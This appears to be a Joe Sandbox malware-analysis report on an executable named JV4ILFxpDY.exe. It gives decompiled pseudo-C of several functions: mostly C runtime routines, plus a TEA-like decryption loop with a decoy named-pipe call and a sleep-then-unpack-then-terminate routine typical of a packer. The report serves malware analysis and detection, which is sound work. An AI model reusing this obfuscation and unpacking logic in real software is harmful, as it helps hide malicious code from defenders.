Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: b492b0aedd17dd80bf65a2e853ba41457b663f78efbd6f913cc80486625b811f
Instruction ID: af94ae7ad4f8354128a4e7117176d47ca92eae728aac10918607d2686cb0ae9a
Opcode Fuzzy Hash: b492b0aedd17dd80bf65a2e853ba41457b663f78efbd6f913cc80486625b811f
Instruction Fuzzy Hash: 9AF0FF70E84318BADB302E20AE03B5F3261AB18B28FA0256FF845351C2DBFE0650864D

Uniqueness

Uniqueness Score: -1.00%

Function 00437715, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00437715(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _t85;
				intOrPtr _t86;
				void* _t91;
				signed int _t95;
				void* _t103;
				void* _t110;
				void* _t111;
				void* _t112;
				signed int _t121;
				signed int _t123;
				signed int _t127;
				signed int _t128;
				signed int _t129;
				signed int _t132;
				signed int _t134;
				signed int _t140;
				void* _t142;
				void* _t143;
				void* _t144;
				void* _t146;
				void* _t147;

				_t143 = __esi;
				_t142 = __edi;
				_t112 = __ecx;
				_t111 = __ebx;
				if( *(_t144 + 0x10) > 0 ||  *(_t144 + 0xc) == 0 &&  *(_t144 + 0x10) == 0) {
					 *((intOrPtr*)(_t144 - 0x1c)) = 1;
				} else {
					 *((intOrPtr*)(_t144 - 0x1c)) = 0;
				}
				 *((intOrPtr*)(_t144 - 0x10)) =  *((intOrPtr*)(_t144 - 0x1c));
				if( *((intOrPtr*)(_t144 - 0x10)) == 0) {
					_push(L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)");
					_push(0);
					_push(0x133);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t110 = L0041E420();
					_t146 = _t146 + 0x14;
					if(_t110 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t144 - 0x10)) != 0) {
					__eflags =  *(_t144 + 0xc);
					if( *(_t144 + 0xc) != 0) {
						_t128 =  *(_t144 + 0xc);
						 *_t128 = 0;
						__eflags =  *(_t144 + 0x10) - 0xffffffff;
						if( *(_t144 + 0x10) != 0xffffffff) {
							__eflags =  *(_t144 + 0x10) - 0x7fffffff;
							if( *(_t144 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t144 + 0x10) - 1;
								if( *(_t144 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t128 =  *(_t144 + 0x10) - 1;
										__eflags = _t128;
										 *(_t144 - 0x20) = _t128;
									} else {
										_t127 =  *0x440208; // 0xffffffff
										 *(_t144 - 0x20) = _t127;
									}
									__eflags =  *(_t144 + 0xc) + 1;
									E0041B5B0(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x20));
									_t146 = _t146 + 0xc;
								}
							}
						}
					}
					__eflags =  *(_t144 + 8);
					if( *(_t144 + 8) != 0) {
						_t128 =  *(_t144 + 8);
						 *_t128 = 0;
					}
					__eflags =  *(_t144 + 0x18) -  *(_t144 + 0x10);
					if( *(_t144 + 0x18) <=  *(_t144 + 0x10)) {
						_t128 =  *(_t144 + 0x18);
						 *(_t144 - 0x24) = _t128;
					} else {
						 *(_t144 - 0x24) =  *(_t144 + 0x10);
					}
					 *(_t144 - 8) =  *(_t144 - 0x24);
					__eflags = 0x7fffffff -  *(_t144 - 8);
					asm("sbb edx, edx");
					_t129 = _t128 + 1;
					__eflags = _t129;
					 *(_t144 - 0x14) = _t129;
					if(_t129 == 0) {
						_push(L"bufferSize <= INT_MAX");
						_push(0);
						_push(0x13f);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t103 = L0041E420();
						_t146 = _t146 + 0x14;
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t144 - 0x14);
					if( *(_t144 - 0x14) != 0) {
						_t115 =  *(_t144 + 0xc);
						_t85 = L00437210(_t111,  *(_t144 - 8), _t142, _t143,  *(_t144 + 0xc),  *((intOrPtr*)(_t144 + 0x14)),  *(_t144 - 8),  *((intOrPtr*)(_t144 + 0x1c)));
						_t147 = _t146 + 0x10;
						 *(_t144 - 0xc) = _t85;
						__eflags =  *(_t144 - 0xc) - 0xffffffff;
						if( *(_t144 - 0xc) != 0xffffffff) {
							_t132 =  *(_t144 - 0xc) + 1;
							 *(_t144 - 0xc) = _t132;
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) == 0) {
								L56:
								__eflags =  *(_t144 + 8);
								if( *(_t144 + 8) != 0) {
									 *( *(_t144 + 8)) =  *(_t144 - 0xc);
								}
								_t86 =  *((intOrPtr*)(_t144 - 4));
								goto L59;
							}
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							if( *(_t144 - 0xc) <=  *(_t144 + 0x10)) {
								L55:
								_t134 =  *(_t144 + 0xc) +  *(_t144 - 0xc);
								__eflags = _t134;
								 *((char*)(_t134 - 1)) = 0;
								goto L56;
							}
							__eflags =  *(_t144 + 0x18) - 0xffffffff;
							if( *(_t144 + 0x18) == 0xffffffff) {
								L54:
								 *(_t144 - 0xc) =  *(_t144 + 0x10);
								 *((intOrPtr*)(_t144 - 4)) = 0x50;
								goto L55;
							}
							 *( *(_t144 + 0xc)) = 0;
							__eflags =  *(_t144 + 0x10) - 0xffffffff;
							if( *(_t144 + 0x10) != 0xffffffff) {
								__eflags =  *(_t144 + 0x10) - 0x7fffffff;
								if( *(_t144 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t144 + 0x10) - 1;
									if( *(_t144 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t121 =  *(_t144 + 0x10) - 1;
											__eflags = _t121;
											 *(_t144 - 0x2c) = _t121;
										} else {
											_t95 =  *0x440208; // 0xffffffff
											 *(_t144 - 0x2c) = _t95;
										}
										_t132 =  *(_t144 - 0x2c);
										__eflags =  *(_t144 + 0xc) + 1;
										E0041B5B0(_t142,  *(_t144 + 0xc) + 1, 0xfe, _t132);
										_t147 = _t147 + 0xc;
									}
								}
							}
							_t119 =  *(_t144 + 0x10);
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							asm("sbb edx, edx");
							 *(_t144 - 0x18) =  ~_t132;
							if( *(_t144 - 0xc) ==  *(_t144 + 0x10)) {
								_push(L"sizeInBytes > retsize");
								_push(0);
								_push(0x157);
								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
								_push(2);
								_t91 = L0041E420();
								_t147 = _t147 + 0x14;
								__eflags = _t91 - 1;
								if(_t91 == 1) {
									asm("int3");
								}
							}
							__eflags =  *(_t144 - 0x18);
							if( *(_t144 - 0x18) != 0) {
								goto L54;
							} else {
								 *((intOrPtr*)(L00422F10(_t119))) = 0x22;
								E00422CA0(_t111, _t119, _t142, _t143, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
								_t86 = 0x22;
								goto L59;
							}
						} else {
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) != 0) {
								 *( *(_t144 + 0xc)) = 0;
								__eflags =  *(_t144 + 0x10) - 0xffffffff;
								if( *(_t144 + 0x10) != 0xffffffff) {
									__eflags =  *(_t144 + 0x10) - 0x7fffffff;
									if( *(_t144 + 0x10) != 0x7fffffff) {
										__eflags =  *(_t144 + 0x10) - 1;
										if( *(_t144 + 0x10) > 1) {
											__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
											if(__eflags >= 0) {
												_t140 =  *(_t144 + 0x10) - 1;
												__eflags = _t140;
												 *(_t144 - 0x28) = _t140;
											} else {
												_t123 =  *0x440208; // 0xffffffff
												 *(_t144 - 0x28) = _t123;
											}
											_t115 =  *(_t144 + 0xc) + 1;
											__eflags =  *(_t144 + 0xc) + 1;
											E0041B5B0(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x28));
										}
									}
								}
							}
							_t86 =  *((intOrPtr*)(L00422F10(_t115)));
							goto L59;
						}
					} else {
						 *((intOrPtr*)(L00422F10(0x7fffffff))) = 0x16;
						E00422CA0(_t111, 0x7fffffff, _t142, _t143, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
						_t86 = 0x16;
						goto L59;
					}
				} else {
					 *((intOrPtr*)(L00422F10(_t112))) = 0x16;
					E00422CA0(_t111, _t112, _t142, _t143, L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x133, 0);
					_t86 = 0x16;
					L59:
					return _t86;
				}
			}

0x00437715
0x00437715
0x00437715
0x00437715
0x00437719
0x00437730
0x00437727
0x00437727
0x00437727
0x0043773a
0x00437741
0x00437743
0x00437748
0x0043774a
0x0043774f
0x00437754
0x00437756
0x0043775b
0x00437761
0x00437763
0x00437763
0x00437761
0x00437768
0x0043779d
0x004377a1
0x004377a3
0x004377a6
0x004377a9
0x004377ad
0x004377af
0x004377b6
0x004377b8
0x004377bc
0x004377c4
0x004377ca
0x004377da
0x004377da
0x004377dd
0x004377cc
0x004377cc
0x004377d2
0x004377d2
0x004377ec
0x004377f0
0x004377f5
0x004377f5
0x004377bc
0x004377b6
0x004377ad
0x004377f8
0x004377fc
0x004377fe
0x00437801
0x00437801
0x0043780a
0x0043780d
0x00437817
0x0043781a
0x0043780f
0x00437812
0x00437812
0x00437820
0x00437828
0x0043782b
0x0043782d
0x0043782d
0x00437830
0x00437833
0x00437835
0x0043783a
0x0043783c
0x00437841
0x00437846
0x00437848
0x0043784d
0x00437850
0x00437853
0x00437855
0x00437855
0x00437853
0x00437856
0x0043785a
0x0043789b
0x0043789f
0x004378a4
0x004378a7
0x004378aa
0x004378ae
0x0043791a
0x0043791d
0x00437920
0x00437924
0x00437a11
0x00437a11
0x00437a15
0x00437a1d
0x00437a1d
0x00437a1f
0x00000000
0x00437a1f
0x0043792d
0x00437930
0x00437a07
0x00437a0a
0x00437a0a
0x00437a0d
0x00000000
0x00437a0d
0x00437936
0x0043793a
0x004379fa
0x004379fd
0x00437a00
0x00000000
0x00437a00
0x00437943
0x00437946
0x0043794a
0x0043794c
0x00437953
0x00437955
0x00437959
0x00437961
0x00437967
0x00437976
0x00437976
0x00437979
0x00437969
0x00437969
0x0043796e
0x0043796e
0x0043797c
0x00437988
0x0043798c
0x00437991
0x00437991
0x00437959
0x00437953
0x00437994
0x00437997
0x0043799a
0x0043799e
0x004379a1
0x004379a3
0x004379a8
0x004379aa
0x004379af
0x004379b4
0x004379b6
0x004379bb
0x004379be
0x004379c1
0x004379c3
0x004379c3
0x004379c1
0x004379c4
0x004379c8
0x00000000
0x004379ca
0x004379cf
0x004379eb
0x004379f3
0x00000000
0x004379f3
0x004378b0
0x004378b0
0x004378b4
0x004378b9
0x004378bc
0x004378c0
0x004378c2
0x004378c9
0x004378cb
0x004378cf
0x004378d7
0x004378dd
0x004378ed
0x004378ed
0x004378f0
0x004378df
0x004378df
0x004378e5
0x004378e5
0x004378ff
0x004378ff
0x00437903
0x00437908
0x004378cf
0x004378c9
0x004378c0
0x00437910
0x00000000
0x00437910
0x0043785c
0x00437861
0x0043787d
0x00437885
0x00000000
0x00437885
0x0043776a
0x0043776f
0x0043778b
0x00437793
0x00437a22
0x00437a25
0x00437a25

APIs

__invalid_parameter.LIBCMTD ref: 0043778B

Strings

(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 00437743, 00437786
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043774F, 0043777C
_wcstombs_s_l, xrefs: 00437781

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3730194576-625432840
Opcode ID: 5500cf82e9fbf15f650df30849e535fa259ff710c693ce0f712eb9da5b718486
Instruction ID: 0c7aa8554a3e35e0606aaf5808455b8485c0efa0920116c1e2cd06d7a7261f4e
Opcode Fuzzy Hash: 5500cf82e9fbf15f650df30849e535fa259ff710c693ce0f712eb9da5b718486
Instruction Fuzzy Hash: BF016DB4E44309AAEB30AE40DD067AF7260AB1471DF50246FE990352C1D7FD5680CADD

Uniqueness

Uniqueness Score: -1.00%

Function 0041AA31, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041AAE5

Part of subcall function 00421550: __encode_pointer.LIBCMTD ref: 00421631

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: bd5f022fdd1d3c5235b296f91ea3384d698401cf7c935dfb91f3aeea7f321e09
Instruction ID: 563f0423f42ec39e29178afd511532687131fe95301a35e3048cce15a125b883
Opcode Fuzzy Hash: bd5f022fdd1d3c5235b296f91ea3384d698401cf7c935dfb91f3aeea7f321e09
Instruction Fuzzy Hash: F5413A31C09744D6CB11AB38DA4517EB7B0FF95384F00C76BF88861221EB348AA8C347

Uniqueness

Uniqueness Score: -1.00%

Function 00424A0A, Relevance: 6.0, APIs: 4, Instructions: 32
threadCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00424A0A(intOrPtr __eax) {
				void* _t10;
				intOrPtr _t11;
				intOrPtr _t16;
				void* _t21;

				 *((intOrPtr*)(_t21 - 8)) = __eax;
				if( *((intOrPtr*)(_t21 - 8)) == 0) {
					L2:
					E00424A70();
					_t10 = 0;
				} else {
					_push( *((intOrPtr*)(_t21 - 8)));
					_t11 =  *0x440cb0; // 0x1
					_push(_t11);
					_t16 =  *0x55adec; // 0x84936490
					if( *((intOrPtr*)(E00424760(_t16)))() != 0) {
						E00424AD0(_t16,  *((intOrPtr*)(_t21 - 8)), 0);
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)))) = GetCurrentThreadId();
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)) + 4)) = 0xffffffff;
						_t10 = 1;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x00424a0d
0x00424a14
0x00424a35
0x00424a35
0x00424a3a
0x00424a16
0x00424a19
0x00424a1a
0x00424a1f
0x00424a20
0x00424a33
0x00424a44
0x00424a55
0x00424a5a
0x00424a61
0x00000000
0x00000000
0x00000000
0x00424a33
0x00424a69

APIs

__encode_pointer.LIBCMTD ref: 00424A27

Part of subcall function 00424760: TlsGetValue.KERNEL32(00000001,004249D6,84935490), ref: 00424775
Part of subcall function 00424760: TlsGetValue.KERNEL32(00000001,00000001), ref: 00424796
Part of subcall function 00424760: __crt_wait_module_handle.LIBCMTD ref: 004247AC
Part of subcall function 00424760: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 004247C6

__mtterm.LIBCMTD ref: 00424A35
__initptd.LIBCMTD ref: 00424A44
GetCurrentThreadId.KERNEL32 ref: 00424A4C

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: Value$AddressCurrentProcThread__crt_wait_module_handle__encode_pointer__initptd__mtterm
String ID:
API String ID: 1673568325-0
Opcode ID: 91831ea50285bb63639be493bf5443a2faeb589c8016f743cf773e69b55c0eb6
Instruction ID: 5695325dedae18a8fae889a61979508499463bf1973d72fee713464a83e4f577
Opcode Fuzzy Hash: 91831ea50285bb63639be493bf5443a2faeb589c8016f743cf773e69b55c0eb6
Instruction Fuzzy Hash: 3AF0B4B4B00214ABC710EFA8FC4165EBB74EBC8318F5082A9E41597391EA35D640CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00419951, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87
pipeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00419951(unsigned int _a4, long _a8) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void _v1052;
				signed int _t38;
				signed int* _t55;
				intOrPtr* _t56;
				signed int _t62;
				char _t72;
				unsigned int _t74;

				_t56 = _a8;
				_t55 = _a4;
				_t38 =  *_t55;
				_v24 =  *_t56;
				_t74 = _t55[1];
				_v20 =  *((intOrPtr*)(_t56 + 4));
				_t72 = 0xc6ef3720;
				_a4 = _t38;
				_v8 = 0xc6ef3720;
				_v28 =  *((intOrPtr*)(_t56 + 8));
				_v16 =  *((intOrPtr*)(_t56 + 0xc));
				if( *0x55abe4 == 0x60b) {
					CallNamedPipeW(L"vecaxosojafebajiwiboze", 0, 0,  &_v1052, 0,  &_a8, 0);
					_t38 = _a4;
				}
				_v12 = 0x20;
				while(1) {
					_a8 = _t38 << 4;
					E004198F7( &_a8, _v28);
					_t42 = _a4;
					 *0x453944 =  *0x453944 & 0x00000000;
					_t62 = (_a4 >> 0x00000005) + _v16 ^ _t42 + _t72 ^ _a8;
					_a8 = _t62;
					 *0x453944 =  *0x453944 + _a8;
					 *0x45394c =  *0x45394c | 0xffffffff;
					_t74 = _t74 - _t62;
					 *0x453948 = 0xc5e121b4;
					_a8 = (_t74 << 0x00000004) + _v24 ^ _t72 + _t74;
					E004198EA( &_a8, (_t74 >> 5) + _v20);
					_a4 = _a4 - _a8;
					_push(0x9e3779b9);
					_push( &_v8);
					L00418998();
					_t34 =  &_v12;
					 *_t34 = _v12 - 1;
					_t38 = _a4;
					if( *_t34 == 0) {
						break;
					}
					_t72 = _v8;
				}
				_t55[1] = _t74;
				 *_t55 = _t38;
				return _t38;
			}

0x00419964
0x0041996a
0x0041996d
0x0041996f
0x00419976
0x00419979
0x00419983
0x00419988
0x0041998b
0x0041998e
0x00419991
0x00419994
0x004199ac
0x004199b2
0x004199b2
0x004199b5
0x004199c1
0x004199c7
0x004199ce
0x004199d3
0x004199d6
0x004199e9
0x004199ec
0x004199f2
0x004199f8
0x004199ff
0x00419a1a
0x00419a24
0x00419a27
0x00419a2f
0x00419a32
0x00419a3a
0x00419a3b
0x00419a40
0x00419a40
0x00419a43
0x00419a46
0x00000000
0x00000000
0x004199be
0x004199be
0x00419a4d
0x00419a51
0x00419a55

APIs

CallNamedPipeW.KERNEL32(vecaxosojafebajiwiboze,00000000,00000000,?,00000000,?,00000000), ref: 004199AC

Strings

vecaxosojafebajiwiboze, xrefs: 004199A7
, xrefs: 004199B5

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: CallNamedPipe
String ID: $vecaxosojafebajiwiboze
API String ID: 1741058652-2368954702
Opcode ID: 27e18cc7b310e0eb9135902710e344e6f7a3c71f0713a80782eab648779d0ae8
Instruction ID: 1f82d597ff0e0343af3a33c87a58f7ac4e2099c71de64b998127dc7a47012e36
Opcode Fuzzy Hash: 27e18cc7b310e0eb9135902710e344e6f7a3c71f0713a80782eab648779d0ae8
Instruction Fuzzy Hash: 99313DB2900208EFCB04CF95C8919AEB7B8FF44364F10C12AE9199B351D674EA41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0041C66F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0041C67F

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C694
_CrtCheckMemory(), xrefs: 0041C688

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: CheckMemory
String ID: _CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2067751306-2660621803
Opcode ID: 308ffa3e7adce31b6822070ce4656284a66cd172e3446964d02f30074bf48ae0
Instruction ID: 601cf61126f606d7d0026d61bd19bba0c09a4ef91737f10f369cc0ed295be8de
Opcode Fuzzy Hash: 308ffa3e7adce31b6822070ce4656284a66cd172e3446964d02f30074bf48ae0
Instruction Fuzzy Hash: 22F0E5746C43009BDB108B11FD967A93390B72030EF20962BF504552D1D9BDA8D49E4F

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: JV4ILFxpDY.exe PID: 7072 Parent PID: 7012 JV4ILFxpDY.exeCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

0x0040196d
0x0040196d
0x0040196d
0x00401970
0x00401971
0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000002.00000002.330676017.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000002.00000002.330676017.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000002.00000002.330676017.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
